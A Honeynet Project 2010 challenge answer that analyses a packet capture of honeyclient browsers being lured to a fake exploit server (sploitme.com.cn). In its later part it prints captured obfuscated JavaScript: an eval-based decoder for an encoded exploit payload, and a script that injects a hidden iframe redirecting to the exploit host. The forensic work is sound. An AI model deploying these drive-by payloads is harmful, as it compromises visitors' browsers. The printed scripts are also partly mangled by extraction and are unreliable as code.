

Challenge 2: Browsers under attack (intermediate)

Submission Template

Submit your solution at <http://www.honeynet.org/challenge2010/> by 17:00 EST, Monday, March 1st 2010. Results will be released on Monday, March 15th 2010.

Name (required): Franck Guénichot	Email (required): franck.guenichot@orange.fr
Country (optional): France	Profession (optional): _ Student _ Security Professional _ Other

Question 1. List the protocols found in the capture. What protocol do you think the attack is/are based on?	Possible Points: 2pts
Tools Used: tshark Awarded Points:	
Answer 1. Using Tshark Protocol Hierarchy Statistics, it is possible to list all known protocols used in a pcap file.	
<pre> tshark -r suspicious-time.pcap -qz io,phs ===== Protocol Hierarchy Statistics Filter: frame frame frames:745 bytes:293958 eth frames:745 bytes:293958 ip frames:725 bytes:292830 udp frames:156 bytes:28787 bootp frames:16 bytes:7560 nbns frames:80 bytes:8800 nbdgm frames:45 bytes:10632 smb frames:45 bytes:10632 mailslot frames:45 bytes:10632 browser frames:45 bytes:10632 dns frames:15 bytes:1795 igmp frames:8 bytes:480 icmp frames:8 bytes:656 tcp frames:553 bytes:262907 http frames:105 bytes:45631 data-text-lines frames:12 bytes:7510 image-jfif frames:1 bytes:464 tcp.segments frames:21 bytes:12770 http frames:21 bytes:12770 data-text-lines frames:13 bytes:6633 media frames:5 bytes:5870 image-gif frames:3 bytes:267 arp frames:20 bytes:1128 ===== </pre>	

The trace file contains 745 Ethernet frames.
 20 frames are ARP frames and the 725 others are ip datagrams.
 Within these 725 IP datagrams:

- 156 are UDP datagrams
- 553 are TCP segments
- 8 are IGMP packets
- 8 are ICMP packets.

Upper layers protocols found were:

- BOOTP (DHCP) indicating that some hosts are configured with dynamic addressing
- NetBios Name Server (NBNS) , NetBios Datagram, Server Message Block, Mailslot and BROWSER indicating maybe the presence of Microsoft Windows based hosts, or at least Windows Networking hosts.
- DNS
- HTTP

A quick look at the trace file shows that all the traffic is mostly “normal traffic”:
 DHCP is used to retrieve an IP configuration, NBNS and the others Windows Networking protocols are used to register the new hosts in a workgroup, IGMP is used for trying to join the UPNP multicast group (enforcing my suspicions on the presence of windows hosts) and DNS is used to resolve well-known domain names.

Based on this facts, HTTP remains the only candidate that could be the attack(s) vector.

Question 2. List IPs, hosts names / domain names. What can you tell about it - extrapolate?	Possible Points: 4pts
---	-----------------------

Tools Used: tshark, sort, uniq, virtualbox documentation, whois

Answer 2.

Listing Ethernet hosts (src only) with tshark:

```
tshark -r suspicious-time.pcap -Tfields -e "eth.src" |sort |uniq
08:00:27:91:fd:44
08:00:27:a1:5f:bf
08:00:27:ba:0b:03
08:00:27:cd:3d:55
52:54:00:12:35:00
```

4 hosts have nearly the same MAC Address, most specifically they have the same Organizationally Unique Identifier.

Searching IEEE OUI list shows :

```
08-00-27 (hex) CADMUS COMPUTER SYSTEMS
080027 (base 16) CADMUS COMPUTER SYSTEMS
600 SUFFOLK ST
LOWELL MA 08154
UNITED STATES
```

In fact, this kind of mac address is also used by Sun VirtualBox as default mac address for the VM networking. These four hosts are surely virtual machines running in virtualbox.

The last mac address in the above listing is also an another point that confirms a virtualbox(VB) setup: 52:54:00:12:35:00 is used by VB for the host in a NAT setup.

Looking at ethernet destination hosts with tshark shows another VB-used mac address 52:54:00:12:35:02 . This one is used as a gateway for the VM in a VB NAT configuration.

In this list below, I've highlighted in yellow all mac address known to be used by virtualbox. The remaining two are the broadcast address and 01:00:5e:00:00:16 the multicast address for IGMP.

```
tshark -r suspicious-time.pcap -Tfields -e "eth.dst" |sort |uniq
01:00:5e:00:00:16
08:00:27:91:fd:44
08:00:27:a1:5f:bf
08:00:27:ba:0b:03
08:00:27:cd:3d:55
52:54:00:12:35:02
ff:ff:ff:ff:ff:ff
```

Listing the IP addresses enforced the suspicions of a VB setup.

```
tshark -r suspicious-time.pcap -qz ip_hosts,tree
```

IP Addresses	value	rate	percent
IP Addresses	733	0,003179	
0.0.0.0	8	0,000035	1,09%
255.255.255.255	8	0,000035	1,09%
10.0.2.2	6	0,000026	0,82%
10.0.2.15	96	0,000416	13,10%
10.0.2.255	25	0,000108	3,41%
224.0.0.22	8	0,000035	1,09%
192.168.56.50	113	0,000490	15,42%
192.168.56.52	175	0,000759	23,87%
10.0.3.2	6	0,000026	0,82%
10.0.3.15	269	0,001167	36,70%
10.0.3.255	37	0,000160	5,05%
192.168.1.1	15	0,000065	2,05%
64.236.114.1	130	0,000564	17,74%
74.125.77.101	9	0,000039	1,23%
209.85.227.106	8	0,000035	1,09%
209.85.227.99	18	0,000078	2,46%
209.85.227.100	8	0,000035	1,09%
10.0.4.2	6	0,000026	0,82%
10.0.4.15	317	0,001375	43,25%
10.0.4.255	38	0,000165	5,18%
192.168.56.51	74	0,000321	10,10%
74.125.77.102	18	0,000078	2,46%
10.0.5.2	6	0,000026	0,82%
10.0.5.15	43	0,000186	5,87%
10.0.5.255	25	0,000108	3,41%

In VirtualBox NAT mode, the guest network interface is assigned to the IPv4 range 10.0.x.0/24 by default where x corresponds to the instance of the NAT interface +2 of that VM. (Source VirtualBox documentation)

So, for a VM:

The first network interface is assigned 10.0.2.15 , with a default gateway of 10.0.2.2

The second network interface : 10.0.3.15, with a default gateway of 10.0.3.2

The third : 10.0.4.15, with a default gateway of 10.0.4.2

and the fourth and last network interface : 10.0.5.15 with a default gateway of 10.0.5.2.

So, this could indicate a unique VM with 4 virtual NIC and configured in NAT mode.

I've highlighted in green a group of 3 IP addresses in the subnet 192.168.56.0/24. Again this subnet is used by default in virtualbox for a special virtual network in host-only mode : vboxnet0.

This could indicate that these 3 hosts are virtual machines too.

NBNS and Windows BROWSER protocol are used in this capture. It is possible to retrieve hostnames for the hosts using these protocols by listening to browser announcement, specifically Host announcements.:

```
tshark -r suspicious-time.pcap -R "browser.command==1" -Tfields -e "ip.src" -e "browser.server" |uniq
10.0.2.15      8FD12EDD2DC1462
10.0.3.15      8FD12EDD2DC1462
10.0.4.15      8FD12EDD2DC1462
10.0.5.15      8FD12EDD2DC1462
```

“browser.command == 1” filters only Windows Browser protocol Host announcements.
And the field browser.server indicates the hostname announced by the server.

The 4 hosts claim the same netbios name enforcing the idea that this is a unique virtual machine or multiples copies of a VM.

Now, It could be interesting to know what browser(s) is used by the VM:

```
tshark -r suspicious-time.pcap -R "http.request" -Tfields -e "ip.src" -e "http.user_agent" |uniq
10.0.2.15      Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3
10.0.3.15      Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
10.0.4.15      Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
10.0.5.15      Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040614 Firefox/0.8
```

the listing above shows three different user-agent values, implying three different browser:

- 10.0.2.15 claims to be a Windows XP hosts using Firefox 3.5.3
- 10.0.3.15 claims to be a Windows XP SP2 host using IE 6
- 10.0.4.15 too
- 10.0.5.15 claims to be a Linux host using Firefox 0.8

If we consider that these hosts could be a unique VM, this VM may be a Honeyclient using fake user-agent string to test malicious web sites.

To list domain names involved in the communication, at least two sources could be used.

The first one is DNS query:

```
tshark -r suspicious-time.pcap -R "dns" -T fields -e "ip.src" -e "dns.flags.response" -e "dns.qry.name"
10.0.3.15      0      www.honeynet.org
10.0.3.15      0      www.honeynet.org
192.168.1.1    1      www.honeynet.org
10.0.3.15      0      www.google-analytics.com
192.168.1.1    1      www.google-analytics.com
10.0.3.15      0      www.google.com
192.168.1.1    1      www.google.com
10.0.3.15      0      www.google.fr
192.168.1.1    1      www.google.fr
10.0.3.15      0      clients1.google.fr
192.168.1.1    1      clients1.google.fr
10.0.4.15      0      www.honeynet.org
192.168.1.1    1      www.honeynet.org
10.0.4.15      0      www.google-analytics.com
192.168.1.1    1      www.google-analytics.com
```

In the listing above, the first column is the requesting host or DNS server ip address, the second column indicates if this is a query (0) or a response (1) and the third column shows the query.

Well, this doesn't indicate too much things...

A second source of information relying on domain name is the HTTP requests header field: Host.

Listing the http request (filtered with uniq) with tshark, the first column is the source IP address, the second is the destination IP address and the last is the Http request-header field: Host indicating which host is requested.

```
tshark -r suspicious-time.pcap -R "http.request" -Tfields -e ip.src -e ip.dst -e http.host|sort|uniq
10.0.2.15      192.168.56.50  rapidshare.com.eyu32.ru
10.0.2.15      192.168.56.52  sploitme.com.cn
10.0.3.15      192.168.56.50  rapidshare.com.eyu32.ru
10.0.3.15      192.168.56.52  sploitme.com.cn
10.0.3.15      209.85.227.100 clients1.google.fr
10.0.3.15      209.85.227.106 www.google.com
10.0.3.15      209.85.227.99  www.google.fr
10.0.3.15      64.236.114.1   www.honeynet.org
10.0.3.15      74.125.77.101  www.google-analytics.com
10.0.4.15      192.168.56.51  shop.honeynet.sg
10.0.4.15      192.168.56.52  sploitme.com.cn
10.0.4.15      64.236.114.1   www.honeynet.org
10.0.4.15      74.125.77.102  www.google-analytics.com
10.0.5.15      192.168.56.52  sploitme.com.cn
```

Interestingly, 3 new domain names that were not listed in DNS queries appears in the listing above:

- rapidshare.com.eyu32.ru
- sploitme.com.cn
- shop.honeynet.sg

This information may indicate that the requesting hosts already known the ip address bound to these 3 hostnames (DNS cache) or that their etc/hosts contains entry for these hosts.

The listing shows also that:

- 192.168.56.50 is rapidshare.com.eyu32.ru
- 192.168.56.51 is shop.honeynet.sg
- 192.168.56.52 is sploitme.com.cn

An whois lookup for these 3 domain names reveal that they could be fake domain names:

```
whois shop.honeynet.sg
Domain Not Found
franck@ODIN:~/Analysis/Sources/Honeynet/Challenge 2$ whois rapidshare.com.eyu32.ru
% By submitting a query to RIPN's Whois Service
% you agree to abide by the following terms of use:
% http://www.ripn.net/about/servpol.html#3.2 (in Russian)
% http://www.ripn.net/about/en/servpol.html#3.2 (in English).

No entries found for the selected source(s).

Last updated on 2010.02.24 02:08:23 MSK/MSD
franck@ODIN:~/Analysis/Sources/Honeynet/Challenge 2$ whois sploitme.com.cn
no matching record
```

Question 3. List all the web pages. List those visited containing suspect and possibly malicious javascript and who's is connecting to it? Briefly describe the nature of the malicious web pages

Possible Points: 6pts

Tools Used: tshark, wireshark,

Answer 3.

Listing all the web pages requested by all the hosts:

```
frankc@ODIN:~/Analysis/Sources/Honeynet/Challenge 2$ tshark -r suspicious-time.pcap -qz http_req_tree
=====
HTTP/Requests
value      rate      percent
-----
HTTP Requests by HTTP Host
63         0,000306
rapidshare.com.eyu32.ru
19         0,000092      30,16%
  /login.php
3          0,000015      15,79%
  /images/sslstyles.css
3          0,000015      15,79%
  /images/images/dot.jpg
3          0,000015      15,79%
  /images/rslogo.jpg
3          0,000015      15,79%
  /images/images/terminator_back.png
3          0,000015      15,79%
  /images/images/terminatr_back.png
3          0,000015      15,79%
  /favicon.ico
1          0,000005      5,26%
sploitme.com.cn
15         0,000073      23,81%
  /?click=3feb5a6b2f
3          0,000015      20,00%
  /fg/show.php?s=3feb5a6b2f
3          0,000015      20,00%
  /fg/load.php?e=1
4          0,000019      26,67%
  /?click=84c090bd86
1          0,000005      6,67%
  /fg/show.php?s=84c090bd86
1          0,000005      6,67%
  /fg/directshow.php
1          0,000005      6,67%
  /fg/load.php?e=3
1          0,000005      6,67%
  /fg/show.php
1          0,000005      6,67%
www.honeynet.org
3          0,000015      4,76%
  /
3          0,000015      100,00%
www.google-analytics.com
3          0,000015      4,76%
  /__utm.gif?utmwv=4.6.5&utmh=1731245256&utmhn=www.honeynet.org&utmcs=utf-8&utmsr=1088x729&utmssc=32-bit&utmul=en-us&utmje=1&utmfl=6.0%20r79&utmdt=Honeynet%20Project%20Blog%20The%20Honeynet%20Project&utmhid=2130591288&utmr=-&utmp=%2F&utmcc=__utma%3D121888786.1305690527.1264085162.1265310286.5%3B%2B__utmz%3D121888786.1264085162.1.1.utmcsr%3D(direct)%7Cutmccn%3D(direct)%7Cutmcmd%3D(none)%3B
1          0,000005      33,33%
  /__utm.gif?utmwv=4.6.5&utmh=1265451123&utmhn=www.honeynet.org&utmcs=utf-8&utmsr=1088x729&utmssc=32-bit&utmul=en-us&utmje=1&utmfl=6.0%20r79&utmdt=Honeynet%20Project%20Blog%20The%20Honeynet%20Project&utmhid=1706076767&utmr=-&utmp=%2F&utmcc=__utma%3D121888786.1305690527.1264085162.1265310286.1265310375.6%3B%2B__utmz%3D121888786.1264085162.1.1.utmcsr%3D(direct)%7Cutmccn%3D(direct)%7Cutmcmd%3D(none)%3B
1          0,000005      33,33%
  /__utm.gif?utmwv=4.6.5&utmh=1298421081&utmhn=www.honeynet.org&utmcs=utf-8&utmsr=1088x729&utmssc=32-bit&utmul=en-us&utmje=1&utmfl=6.0%20r79&utmdt=Honeynet%20Project%20Blog%20The%20Honeynet%20Project&utmhid=2068504592&utmr=-&utmp=%2F&utmcc=__utma
```

```
%3D121888786.1305690527.1264085162.1265310375.1265310467.7%3B%2B__utmz%3D121888786.1264085162.1.1.utmcsr
%3D(direct)%7Cutmccn%3D(direct)%7Cutmcmd%3D(none)%3B      1      0,000005      33,33%
www.google.com
1      0,000005      1,59%
/
1      0,000005      100,00%
www.google.fr
2      0,000010      3,17%
/
1      0,000005      50,00%
/csi?v=3&s=webhp&action=&e=17259,22766,23388,23456,23599&ei=mHdoS-C7Ms2a-Abs68j-
CA&expi=17259,22766,23388,23456,23599&rt=prt.195,ol.255,xjses.345,xjsee.375,xjsls.375,xjs.481
1      0,000005      50,00%
clients1.google.fr
1      0,000005      1,59%
/generate_204
1      0,000005      100,00%
shop.honeynet.sg
19     0,000092      30,16%
/catalog/
1      0,000005      5,26%
/catalog/stylesheet.css
1      0,000005      5,26%
/catalog/images/store_logo.png
1      0,000005      5,26%
/catalog/images/header_account.gif
1      0,000005      5,26%
/catalog/images/header_cart.gif
1      0,000005      5,26%
/catalog/images/header_checkout.gif
1      0,000005      5,26%
/catalog/images/infobox/corner_left.gif
1      0,000005      5,26%
/catalog/images/pixel_trans.gif
1      0,000005      5,26%
/catalog/images/infobox/corner_right_left.gif
1      0,000005      5,26%
/catalog/images/infobox/arrow_right.gif
1      0,000005      5,26%
/catalog/images/libemu.png
1      0,000005      5,26%
/catalog/includes/languages/english/images/buttons/button_quick_find.gif
1      0,000005      5,26%
/catalog/images/table_background_default.gif
1      0,000005      5,26%
/catalog/images/phoneyc.png
1      0,000005      5,26%
/catalog/images/infobox/corner_right.gif
1      0,000005      5,26%
/catalog/includes/languages/english/images/icon.gif
1      0,000005      5,26%
/catalog/includes/languages/german/images/icon.gif
1      0,000005      5,26%
/catalog/includes/languages/espanol/images/icon.gif
1      0,000005      5,26%
/catalog/images/banners/oscommerce.gif
1      0,000005      5,26%
=====
```

At least one HTTP host is suspicious (highlighted in red) its name “sploit.com.cn” lead to think that It is surely involved in “exploits”.

The vast majority of Web attacks rely on the use of scripting on the client side (javascript, Vbscript). The usage of scripts in an html page is indicated by a special html tag : <script type=“xxxxx” > where xxxxx indicates the scripting language that we be used. (eg: <script type=“text/javascript”> meaning the following script is written in javascript. So to detect suspicious pages we can filter http reponse containing scripts.

Listing suspicious web pages with a special tshark filter:

This filter displays all reassembled/uncompressed http payloads containing the “<script” html tag. In fact all web pages using scripts will match this filter and not only suspicious ones. But it helps at focusing on specific web pages:

```
tshark -r suspicious-time.pcap -R "data-text-lines contains \"<script\"" -T fields -e frame.number -e ip.src -e ip.dst
28      192.168.56.50  10.0.2.15
63      192.168.56.52  10.0.2.15
131     192.168.56.50  10.0.3.15
174     192.168.56.52  10.0.3.15
253     64.236.114.1   10.0.3.15
314     209.85.227.99  10.0.3.15
341     192.168.56.50  10.0.3.15
415     192.168.56.51  10.0.4.15
496     192.168.56.52  10.0.4.15
577     64.236.114.1   10.0.4.15
677     64.236.114.1   10.0.4.15
722     192.168.56.52  10.0.5.15
```

Then with wireshark it is possible to filter these suspicious pages and export them to disk for further analysis. (With the export HTTP objects function)

Packet num	Hostname	Content Type	Bytes	Filename
28	rapidshare.com.eyu32.ru	text/html	3005	login.php
37	rapidshare.com.eyu32.ru	text/html	347	dot.jpg
59	rapidshare.com.eyu32.ru	text/html	359	terminator_back.png
60	rapidshare.com.eyu32.ru	text/html	358	terminatr_back.png
63	sploitme.com.cn	text/html	3513	show.php?s=3feb5a6b2f
69	rapidshare.com.eyu32.ru	text/html	337	favicon.ico
131	rapidshare.com.eyu32.ru	text/html	3005	login.php
140	rapidshare.com.eyu32.ru	text/css	4079	sslstyles.css
156	rapidshare.com.eyu32.ru	text/html	347	dot.jpg
163	rapidshare.com.eyu32.ru	text/html	358	terminatr_back.png
164	rapidshare.com.eyu32.ru	text/html	359	terminator_back.png
174	sploitme.com.cn	text/html	10845	show.php?s=3feb5a6b2f
189	sploitme.com.cn	application/octet-stream	12288	load.php?e=1
205	sploitme.com.cn	application/octet-stream	12288	load.php?e=1
253	www.honeynet.org	text/html	27700	/
267	www.google-analytics.com	image/gif	35	_utm.gif?utmwv=4.6.5&utmh=www.honeynet.org&utmcs
299	www.google.com	text/html	218	/
314	www.google.fr	text/html	10680	/
341	rapidshare.com.eyu32.ru	text/html	3005	login.php
353	rapidshare.com.eyu32.ru	text/html	347	dot.jpg
362	rapidshare.com.eyu32.ru	text/html	358	terminatr_back.png
365	rapidshare.com.eyu32.ru	text/html	359	terminator_back.png
366	sploitme.com.cn	text/html	227	show.php?s=3feb5a6b2f
415	shop.honeynet.sg	text/html	19068	catalog
496	sploitme.com.cn	text/html	40653	show.php?s=84c090bd86
513	sploitme.com.cn	application/octet-stream	12288	load.php?e=1
528	sploitme.com.cn	application/octet-stream	12288	load.php?e=1
537	sploitme.com.cn	image/jpeg	63	directshow.php
577	www.honeynet.org	text/html	27700	/
595	www.google-analytics.com	image/gif	35	_utm.gif?utmwv=4.6.5&utmh=www.honeynet.org&utmcs
635	sploitme.com.cn	application/octet-stream	12288	load.php?e=3
677	www.honeynet.org	text/html	27700	/
689	www.google-analytics.com	image/gif	35	_utm.gif?utmwv=4.6.5&utmh=www.honeynet.org&utmcs
722	sploitme.com.cn	text/html	3500	show.php

Highlighted in red are really suspicious web pages, these are suspicious because they use scripting and are hosted on suspicious hosts, with fake domain names. In orange, we have also suspicious downloads (application/octet-stream) or pages without script but from sploit.com.cn.

The table below summarizes the suspicious pages with javascript

Visitor	HTTP Host	Web page
IP: 10.0.2.15 OS: Windows XP Browser: Firefox 3.5.3	rapishare.com.eyu32.ru	/login.php
IP: 10.0.2.15 OS: Windows XP Browser: Firefox 3.5.3	sploitme.com.cn	/fg/show.php?s=3feb5a6b2f
IP: 10.0.3.15 OS: Windows XP Browser: Internet Explorer 6	rapishare.com.eyu32.ru	/login.php
IP: 10.0.3.15 OS: Windows XP Browser: Internet Explorer 6	sploitme.com.cn	/fg/show.php?s=3feb5a6b2f
IP: 10.0.3.15 OS: Windows XP Browser: Internet Explorer 6	rapishare.com.eyu32.ru	/login.php
IP: 10.0.4.15 OS: Windows XP Browser: Internet Explorer 6	shop.honeynet.sg	/catalog/
IP: 10.0.4.15 OS: Windows XP Browser: Internet Explorer 6	sploitme.com.cn	/fg/show.php?s=84c090bd86
IP: 10.0.5.15 OS: Linux Browser: Firefox 0.8	sploitme.com.cn	/sg/show.php


```
63171154191223204190219110156163179139199164155222151125168115161184217218182172115143');
//-->
</script>
```

Script generated while 10.0.3.15 was visiting the same page (/fg/show.php?s= 3feb5a6b2f)

```
<script language='JavaScript'>
<!--
var
CRYPT={signature:'CGerjg56R',_keyStr:'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'=
,decode:function(input){var output='';var chr1,chr2,chr3;var enc1,enc2,enc3,enc4;var
i=0;input=input.replace(/[^\A-Za-z0-9\+\-\=\]/g,'');while(i<input.length)
{enc1=this._keyStr.indexOf(input.charAt(i++));enc2=this._keyStr.indexOf(input.charAt(i+
));enc3=this._keyStr.indexOf(input.charAt(i++));enc4=this._keyStr.indexOf(input.charAt(i+
));chr1=(enc1<<2)|(enc2>>4);chr2=((enc2&15)<<4)|(enc3>>2);chr3=((enc3&3)<<6)|
enc4;output=output+String.fromCharCode(chr1);if(enc3!=64){output=output+String.fromCharCode(chr2);}
if(enc4!=64){output=output+String.fromCharCode(chr3);}}
output=CRYPT._utf8_decode(output);return output;},_utf8_decode:function(utf8text){var string='';var
i=0;var c=c1=0,c2=0,c3=0;while(i<utf8text.length){c=utf8text.charCodeAt(i);if(c<128)
{string+=String.fromCharCode(c);i++;}else if((c>191)&&(c<224))
{c2=utf8text.charCodeAt(i+1);string+=String.fromCharCode(((c&31)<<6)|
(c2&63));i+=2;}else{c2=utf8text.charCodeAt(i+1);c3=utf8text.charCodeAt(i+2);string+=String.fromCharCode(((
c&15)<<12)|((c2&63)<<6)|(c3&63));i+=3;}}
return string;},obfuscate:function(str){var container='';for(var i=0,z=0;i<str.length;i=i+3,z++)
{container+=String.fromCharCode(str.substring(i,i+3)-this.signature.substring(z%this.signature.length,z
%this.signature.length+1).charCodeAt(0));}
return CRYPT.decode(container);}
eval(CRYPT.obfuscate('1571811872311951541351661801171232041951561601691531531871792011851912141281421981
89161189196191200140103190165122187162181170153169180117149205214177211171152187120182200223192212126122
13017014421018421120110414013014618017522919519010616815618819022219117416817212916618312816822319615215
11631601151681881712231761221321931571581792281891891181651571551871512031941761561531911531911812011591
521511252011221711173188159204104128190166155150231196191152157163154149149211194193161141151124176198223
19220915312118517215518919215820114017320314317920519219017215713916813713620618919021911014313213711919
01642092141431371901221711731881592041041281901661551502311961911521571631541491492111941931611411511241
7619822319220915312118517215518919215820114017320314317920519219017215713916813713620618919021911014313213711919
8311281901641761511421041851781611842221612031251281351681221752220518710217117215517020420117515213013
71541491192001841802111521421681751701521952171781371701391561211711621951531561651721501791562161941521
10121191175180176186180211152138130124169211200221201120162203157159183163205212105159159134144156213215
18917313019112419019120115821412616118213715716818722117615811119115719215823620317411010515817713721221
31741601631441701491731902012182071541221301871452111871631761581701601561591832251822131271581801761532
19212189206165130153157175199186184211128138198188161189183223202103140199157138205231206190173169157151
18721320421120717414417013618820022319222515212513918417015120019119314115813014715514921918318612616618
31181452092141781891741521871331192002241922111321051311751691731922142041041281901671431872352042081191
6317115419122320419021911015616317912119020217920615314211561821711172171215200140174190147154202206175
13517316117212721921315716916815213217511919920119122014210413918314721019222317910314419214312122123219
51901341711811381752201941561881101311651661262012231762241261251721791691722002231921401031901471542011
63205174135158182138156218204194207161128204183180201201159209153125190185169206180174202162140186167142
18719418117410916918017217915621421517317412715414012819922419221815112219811517021122161202215910320014
31781792351961901231021721521282062112151891591541491711881762021552091421421641731681682182141781411701
39134180209223181170123175157155187149213216211108153188116189177221184224143141152115161186171211200162
1401881671382052311821701521641571551202072031941851591511491711791762022216015513519417916120621721020
2158162137167143175167207154126111801881241692132151891571541531515119022321821114210516317816922062332
16177174173192141192209171195153123102171117174212204189211108156170115146198201195214126142155179172152
19622720414117020314715815723118815313910216611714521420419318110112914916618117718515821515514116017117
11721922171781241391941681221501711732121611631571341412221891942191011531921751262002201552211291611821
75171170171211200162140188167138205231182170152164157155120207203194185159151149171179176202222160155135
1941791612062172102021581621371671431751672071541261118018812417320419418513314319117917919016518721415
115919012416015118415419210315719315715420916920819110112918117615714921419417717011271541401262031952182
1215314113517317117222224201158120154165192205218181191169104171155144204213228152121153191153175201185
19218312812511821415115021419019210412819416614318223119115315716218013819021118919021910314317014017419
92361551711521631681711711722001861781241231971411191711831901511351211581751491492132151891571521651661
83180165196207152159148175151189191223185140107132164159175232204212102162180177152212188155169174152132
1451792001651832131281381981171601891872092041241582031471581541632041741721091821761412221871771716515
21881161791772212141511431411301781451501961761871391191921542162241941731216415171612132121771891
70143169116179180165188224154142198119168173187163201162140133140141205192190172157102182139137184204194
17310214417014511917618121315815513519417316018919621220012015819014215921716220521316110918313817522219
41931561611542031331371901651882151531631681561551511882191931401321301421382011922031901311751801181492
19204216184170141151116148184184188188138121181179150152162181192103124130156121204225196186161109183138
17522219419315616115420313313719016518821515316316815615515118821919314013213014213820119219115215713216
61351442181991561891741541911531921881831551801361241641521561682132181821041031391341802092231811701231
06179139144213213215189101154170141188176182171215132105186178170206167224202124140199142138201186188189
```

```

13416415813915722221217818517114419117518619119722621214214120218916118422118120412415820314318117922220
421213416518017715721621217321010815419111371921741851962151511251681731691511671541931401071301471592052
25205208106175172155149220212156156175144167141189191186213158151175135152172189180214183137123137165192
15419220415313516216215114815621222715613315315315318817618121315815117513515517021022215419313615819116
41582212221951531101711821381572182141732101081522031201551902021962111391251391381681882342141781241281
94165176220235181187169176158175145150212211207158151169119186178181213158155135194176171188167212203124
16220016517616723019617412316015713417915621421517317412715317412817818222215314214215517016915118821919
31401321301661931502311961911521571631551452222031942101641281331831381831822131531341761671161492061621
56181138123204143155170234188171118170161151174223195189151172131151144190179183196171130160190137148223
204163177174173192168119175183185187143122160151156151190190192102135166144187178198176172130121130121015
01691921721791371192011481931661621882101301751611521562231922161511631301491671261821991791561341611601
37153170195222185138131133149154149162184151138174158151178223191212176169136150149137178220175222131160
15111814818518315620513615319714112221623318317111810416417313622319122715117213115013219017719817122213
01221471831522231792251801201022011441391662331831711181731591351362201921741931101282031861812022361712
22130122172128148169192172179137119201144139166230183171118173159134120169191174168172130166132190178182
171222130122147186148169179154181163102192143138201169182171812131591761591731361521911771216913220415612119
1181154151143141167117147185217157182140131198157142178234196212122107159154152222042151801751561651661
86175165221153131122151115149185183227184158103149146155200166182187134103159152152217195190169122133149
11614218216219617213516015918915318521722818010113213914119222022420722515312516015214415219621219217513
016715619017922185121913112215918914818416215818413712713219122143155178236185188138170159135134151183187209130170160135
75136154115181177181206158130122171118148207192176180121161198149177183182183208101102159117148153190190
20617513216617018717818221417413410216318715317018722518117514313216915420022918015416810415918917917219
22281761021361871151911822201801721291381631191482231832221841371621531491381491661842251341061601351701
51193174176172131166133128175235225213154102156133148169183158181137161135143155171183187209130170160135
15321019318915110513113014011917719818715313013816311614917019115818112212815314614314922418217015310916
41351371691911742031221321661561871791621831531321371301151481492032261791381271301481551662301832091391
25160152140221191191193119135188136124203197205218127105198137150170192174184101136151149176150182187187
126106158151152154192213117616913518813212017818115415313417614711815223221156183015913513314517817517118
02241731711821541912161891902191041511531751861911972102211421631941751601521962281901031621821421592171
64195191126157171151120218214193223168133132175180176185163208150163168173171173192204200139102199166122
18721920515413517517915412421118917416816813116517412818119720615812717519012216018516321320110313213116
515818723120617010616018111761572052141771891231521531531871912011591511281211831872091301701601351
92142155217218182213131162182136141149214178177165143192153119191197209213142104202171170152192218193120
15319714112117922920515316116116117217021521215617716614416914511920016322221514113713518917118818822820
31251281941651802002251831861731721711761832092031571851751411321751711772232262111511631821151681681622
26178136161137169158187229205153139109182139145154215156172110152191153122174183176209153133145190117161187
21818619216216619015612218222520415312716717215414914921315521916514216517412620320118420715312516017814
61721992182041041031391341802092231811741221661831181532222151942191031431701401741902201551711521631681
71171172200186178124123197141120201198195154127166181139152218199156207161152153186181176198222215143159
1861721461892302181931581581541651922052181811861611091791541602121951562071611431321831451861819210921512
81421981351691511632252011241401301571542042261851541021621801391492092151541811711521701331861912021882
11128121189122173182226227193141136131166180153217206175127103172151187158216194152159143170149177198181
21021112814219812417318222621817817416913716915221318220415310217318013815714920418920616513313311514619
9201188207142175185179150220175167'););
//-->
</script>

```

Even without decoding it, it is easy to see that the scripts are not the same. It may indicate that the script is dynamically generated by the exploit server. Maybe the script generation is based on some of the visiting hosts properties (eg: kind of browser used, victim OS, country...). This page stores the “offensive” script which will be used to try to exploit the victim.

A another client, ip address 10.0.4.15, visited shop.honeynet.sg and the first requested page /catalog/ contained suspicious javascript:

```

<script type="text/javascript">var s="=jgsbnf!tsd>#iuiuq;00tqmpjunf/dpn/do0@dmjdl>95d1:lce97#!xjeui>2!
ifjhiu>2!tuzmf>#wjtjcmjuz;!ijeefo#?=0jgsbnf?";m="";for(i=0;i<s.length;i++){if(s.charCodeAt(i)==28)
{m+="#&";}else if(s.charCodeAt(i)==23){m+="#";}else{m+=String.fromCharCode(s.charCodeAt(i)-
1);}}document.write(m);</script>

```

Like the login.php page from rapidshare.com.eyu32.ru, this script decodes and then writes an iframe statement in the html document to redirect the victim's browser to the exploit server: sploitme.com.cn.

After being redirected twice (we will see this point later), 10.0.4.15 request /fg/show.php?s=84c090bd86 from sploitme.com.cn.

The exploit server will use this page to try to exploit multiples vulnerabilities with the encoded script below:

```

<script language='JavaScript'>
<!--
var
CRYPT={signature:'CGerjg56R',_keyStr:'ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'=',
,decode:function(input){var output='';var chr1,chr2,chr3;var enc1,enc2,enc3,enc4;var
i=0;input=input.replace(/\^[A-Za-z0-9\+\=\]/g,'');while(i<input.length)
{enc1=this._keyStr.indexOf(input.charAt(i++));enc2=this._keyStr.indexOf(input.charAt(i+
+));enc3=this._keyStr.indexOf(input.charAt(i++));enc4=this._keyStr.indexOf(input.charAt(i+
+));chr1=(enc1<<2)|(enc2>>4);chr2=((enc2&15)<<4)|(enc3>>2);chr3=((enc3&3)<<6)|
enc4;output=output+String.fromCharCode(chr1);if(enc3!=64){output=output+String.fromCharCode(chr2);}
if(enc4!=64){output=output+String.fromCharCode(chr3);}}
output=CRYPT.utf8_decode(output);return output;},_utf8_decode:function(utf8text){var string='';var
i=0;var c=0,c1=0,c2=0,c3=0;while(i<utf8text.length){c=utf8text.charCodeAt(i);if(c<128)
{string+=String.fromCharCode(c);i++;}else if((c>191)&&(c<224))
{c2=utf8text.charCodeAt(i+1);string+=String.fromCharCode(((c&31)<<6)|
(c2&63));i+=2;}else{c2=utf8text.charCodeAt(i+1);c3=utf8text.charCodeAt(i+2);string+=String.fromCharCode(((
c&15)<<12)|((c2&63)<<6)|(c3&63));i+=3;}}
